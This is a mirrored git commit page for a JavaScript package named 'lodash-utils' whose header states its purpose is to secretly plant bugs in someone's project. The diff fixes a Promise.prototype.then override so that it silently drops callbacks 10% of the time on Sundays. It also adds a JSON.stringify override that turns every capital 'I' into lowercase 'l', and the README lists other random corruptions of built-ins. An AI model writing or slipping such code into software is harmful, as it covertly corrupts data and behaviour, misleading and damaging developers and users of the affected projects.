mirror of
https://github.com/wll8/lodash-utils
synced 2024-11-14 11:56:23 +00:00
more
This commit is contained in:
parent
4bd4649337
commit
883f5a7f19
@ -11,6 +11,7 @@
|
||||
* `Array.filter` 的结果有2%的概率丢失最后一个元素。
|
||||
* `setTimeout` 总是会比预期时间慢0.25秒才触发。
|
||||
* `Promise.then` 在周日时有10%不会注册
|
||||
* `JSON.stringify` 会把`I`(大写字母I)变成`l`(小写字母L)
|
||||
* ...
|
||||
|
||||
**声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。**
|
17
index.js
17
index.js
@ -6,7 +6,7 @@
|
||||
* @disclaimer The purpose of this package is to scramble someone's project and produces bugs.
|
||||
* Remember import this package secretly.
|
||||
* The author of this package does not participate any of injections!
|
||||
* @disclaimer_zh 本包用于给项目不定期制造BUG用,请私密地引入本包。本包的作者不参与传播、注入。
|
||||
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
|
||||
*/
|
||||
|
||||
(() => {
|
||||
@ -61,14 +61,23 @@
|
||||
|
||||
/**
|
||||
* Promise.then has a 10% chance will not register on Sundays
|
||||
* @zh Promise.then 在周日时有10%不会注册
|
||||
* @zh Promise.then 在周日时有10%几率不会注册
|
||||
*/
|
||||
const _then = Promise.prototype.then;
|
||||
Promise.prototype.then = function(fn, ...args) {
|
||||
Promise.prototype.then = function(...args) {
|
||||
if(new Date().getDay() === 0 && Math.random() < 0.1) {
|
||||
return;
|
||||
} else {
|
||||
_then.call(fn, ...args);
|
||||
_then.call(this, ...args);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* JSON.stringify will replace 'I' into 'l'
|
||||
* @zh JSON.stringify 会把'I'变成'l'
|
||||
*/
|
||||
const _stringify = JSON.stringify;
|
||||
JSON.stringify = function(...args) {
|
||||
return _stringify(...args).replace(/I/g, 'l');
|
||||
}
|
||||
})();
|
Loading…
Reference in New Issue
Block a user